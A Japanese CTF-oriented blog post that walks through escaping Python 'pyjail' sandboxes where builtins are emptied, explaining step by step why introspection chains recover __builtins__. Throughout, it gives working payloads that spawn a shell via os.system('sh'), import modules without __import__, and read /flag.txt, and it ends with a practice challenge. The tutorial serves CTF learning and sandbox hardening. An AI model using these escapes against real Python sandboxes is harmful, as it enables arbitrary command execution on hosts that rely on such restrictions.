builtinsが削除されたpyjailで使われる「アレ」ちゃんと理解する
脆弱エンジニアの Advent Calendar 2024 Day2 参加記事です
※以下、基本的にpython3.12.6で、-Sオプションで実行する環境を想定します
次の超シンプルなpyjailを見てみましょう。
code = input("your code: ")
eval(code, {"__builtins__": {}}, {"__builtins__": {}})
__builtins__
とは、通常pythonの実行環境で定義されているビルトイン関数の辞書型のオブジェクトです。上記のコードでは、この__builtins__
が空の辞書となっているため、すべてのビルトイン関数が使えなくなっています。
解法は無限にありますが、私は手癖のように次のペイロードを利用しています。
[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__['__import__']('os').system('sh')
これを理解して、応用問題に備えよう!という記事です。
__class__
とは?
pythonはオブジェクト指向言語で、すべてのオブジェクトは何かしらのクラスのインスタンスです。__class__
要素は、オブジェクトのクラスそのものを返します。
print([].__class__) # <class 'list'>
print(().__class__) # <class 'tuple'>
print("".__class__) # <class 'str'>
print((1).__class__) # <class 'int'>
「すべてのオブジェクトは何かしらのクラスのインスタンス」というのは、クラスそのものも例外ではなく、すべてのクラスはtype
というクラスのインスタンスとなります。
print([].__class__.__class__) # <class 'type'>
print(().__class__.__class__) # <class 'type'>
print("".__class__.__class__) # <class 'type'>
print((1).__class__.__class__) # <class 'type'>
これで、[].__class__.__class__
がtype
であることがわかりました。
__subclasses__
関数とは?
__subclasses__
関数はあるクラスのサブクラス(そのクラスを継承するクラス)のリストを返す関数です。
print(int.__subclasses__())
# [<class 'bool'>, <enum 'IntEnum'>, <flag 'IntFlag'>, <class 're._constants._NamedIntConstant'>]
print(list.__subclasses__())
# [<class '_frozen_importlib._List'>, <class 'functools._HashedSeq'>]
print(object.__subclasses__())
# 親クラスがobjectであるすべてのクラスが列挙される
# [<class 'type'>, <class 'async_generator'>, ...]
type.__subclasses__
は少し事情が変わってきます。なぜなら、__subclasses__
はtype
のクラスメソッドだからです。引数なしで実行するとエラーになるはずです。
print(type.__subclasses__())
# TypeError: unbound method type.__subclasses__() needs an argument
あるインスタンスがクラスメソッドを実行する場合、内部的には次のように実行されています。
s = "X" # sはstrのインスタンス
# 以下は同義
print(s.encode()) # b'X'
print(str.encode(s)) # b'X'
つまり、例えばobject.__subclasses__()
はtype.__subclasses__(object)
と同義になります。このように、type.__subclasses__
は引数を前提とした関数となっています。
type
のサブクラス一覧を取得したい場合は、type.__subclasses__(type)
を実行しなければなりません。
これで、[].__class__.__class__.__subclasses__([].__class__.__class__)
がtype.__subclasses__(type)
であり、「type
を継承した子クラスのリストである」というところまでが理解できました。
abc.ABCMeta.register.__builtins__
とは?
CPythonで標準的に定義された関数は次のどちらかに分類できます(多分)
- C言語で実装されたビルトイン関数
- 標準ライブラリ内のPythonで定義された関数
通常、python内で関数を定義すると、その関数がアクセスできるグローバル変数(__globals__
)や、ビルトイン関数(__builtins__
)が、関数の要素として取得できるようになります。
hello = 'world!'
def myfunc():
pass
print(myfunc.__globals__['hello']) # world!
print(myfunc.__builtins__) # {'__name__': 'builtins' ...}
ただし、これは「C言語で実装されたビルトイン関数」には当てはまりません。
hello = 'world!'
print(open.__globals__)
# AttributeError: 'builtin_function_or_method' object has no attribute '__globals__'
print(open.__builtins__)
# AttributeError: 'builtin_function_or_method' object has no attribute '__builtins__'
逆に言えば、「標準ライブラリ内のPythonで定義された関数」にアクセスできれば、その関数が定義された環境での__builtins__
にアクセスできるわけです。
type.__subclasses__(type)
の実行結果を見てみましょう。
print(type.__subclasses__(type))
# [<class 'abc.ABCMeta'>, <class 'enum.EnumType'>, <class 'ast._ABC'>]
ここで、abc.ABCMeta
は、「標準ライブラリ内のPythonで定義されたクラス」なので、abc.ABCMeta.register
は「標準ライブラリ内のPythonで定義された関数」となります。したがって、abc.ABCMeta.register.__builtins__
を通してビルトイン関数にアクセスできるようになるわけです。
ちなみに、abc.ABCMeta
を利用しているのは、単純に最初の要素でアクセスしやすいから、という理由だけなので、「標準ライブラリ内のPythonで定義された関数」であればなんでもよいです。
ですので、他にも次のような方法で__builtins__
を取得できます。
# re._constants._NamedIntConstant.__repr__
(0).__class__.__subclasses__()[3].__repr__.__builtins__
# inspect._FrameInfo._asdict
().__class__.__subclasses__()[-1]._asdict.__builtins__
# functools._HashedSeq.__init__
[].__class__.__subclasses__()[1].__init__.__builtins__
# StrEnum.__new__
"".__class__.__subclasses__()[0].__new__.__builtins__
abc.ABCMeta.register
の便利な点としては、数字が使えない環境でも次のようにイテレーターを利用して取得できたりします。
print([].__class__.__class__.__subclasses__([].__class__.__class__).__iter__().__next__())
# <class 'abc.ABCMeta'>
まとめ
私と共にSECCONの1linepyjailで爆死したあなたも、これからはpyjailマスター!
[].__class__.__class__.__subclasses__([].__class__.__class__)[0].register.__builtins__['__import__']('os').system('sh')
object.__subclasses__
を利用した方法
おまけ1: 先ほどの説明にもある通り、__subclasses__
はあるクラスのすべてのサブクラスを列挙する関係で、object.__subclasses__
を実行できると、親クラスがobjectのすべてのクラスにアクセスできるようになります。
object
を取得するには、[].__class__.__base__
を利用します。__base__
は、あるクラスの親クラスを返します。pythonは多重継承ができるので、親クラスが複数ある場合は最初のクラスになります。
print([].__class__.__base__) # <class 'object'>
object
を取得する方法は、他にもあります
# 親クラスをすべて取得する
print([].__class__.__bases__[0]) # <class 'object'>
# __mro__は、インスタンスメソッドが名前解決解決される順番のタプル
print([].__class__.__mro__[1]) # <class 'object'>
「標準ライブラリ内のPythonで定義されたクラス」をなんでもいいので一つ探して、その関数から__builtins__
にアクセスできます。
print(().__class__.__base__.__subclasses__()[116]) # <class '_frozen_importlib._ModuleLock'>
().__class__.__base__.__subclasses__()[116].__init__.__builtins__['__import__']('os').system('sh')
print(().__class__.__base__.__subclasses__()[211]) # <class 'os._wrap_close'>
().__class__.__base__.__subclasses__()[211].__init__.__builtins__['__import__']('os').system('sh')
利点
この方法の利点は、組み込み関数がモンキーパッチで無効化されていても、代替となるクラスや関数を見つけやすいということです。以下は__import__
がなくても任意のモジュールをインポートする方法です。
del __builtins__.__dict__['__import__']
print([].__class__.__base__.__subclasses__()[120]) # <class '_frozen_importlib.BuiltinImporter'>
[].__class__.__base__.__subclasses__()[120].load_module('os').system('sh')
また、親クラスから子クラスへ順に辿っていくことで、理論上はすべてのクラスにアクセスできます。
# <class '_io._IOBase'> -> <class '_io._RawIOBase'> -> <class '_io.FileIO'>
[].__class__.__base__.__subclasses__()[129].__subclasses__()[2].__subclasses__()[0]("/flag.txt").read()
欠点
object.__subclasses__()
の実行結果は、pythonのバージョンによって左右されることが多いため、目当てのクラスのインデックスを探すのが一手間です。
[].__reduce_ex__
を利用した方法
おまけ2: [].__reduce_ex__(3)[0].__builtins__['__import__']('os').system('sh')
object.__reduce_ex__
関数は、pickleのためにオーバーライドされる関数で、通常タプルを返します。
このタプルの最初の要素は関数なのですが、これは「標準ライブラリ内のPythonで定義された関数」となります。これを利用して、__builtins__
にアクセスできるという仕組みです。
object.__reduce_ex__
はすべてのクラスでオーバーライドされているわけではありませんが、組み込みクラスならば大体オーバーライドされているはずで、いずれも「標準ライブラリ内のPythonで定義された関数」であるということは覚えておいて損はなさそうです。
利点
とにかく短いので、pygolf系の問題で有利
欠点
ここまで書いておいてなんですが、__import__がない環境では動きません。これは、内部的に__import__('copyreg')
を関数内で利用しているからです。したがって、最初の問題設定では動きませんが、似たような問題設定でも実は使えるみたいな場面が出てくるかもしれません。
練習問題
あなたならもう解けるよね?(想定解は12/25公開)
#!/usr/bin/python -S
# 逆に__subclasses__と__builtins__しか使っちゃだめ!
allowed = '[(+).__subclasses__.__builtins__]'
code = input('Are you pyjail master?: ')
assert all(c in allowed for c in code)
eval(code, {"__builtins__": {}}, {"__builtins__": {}})
Discussion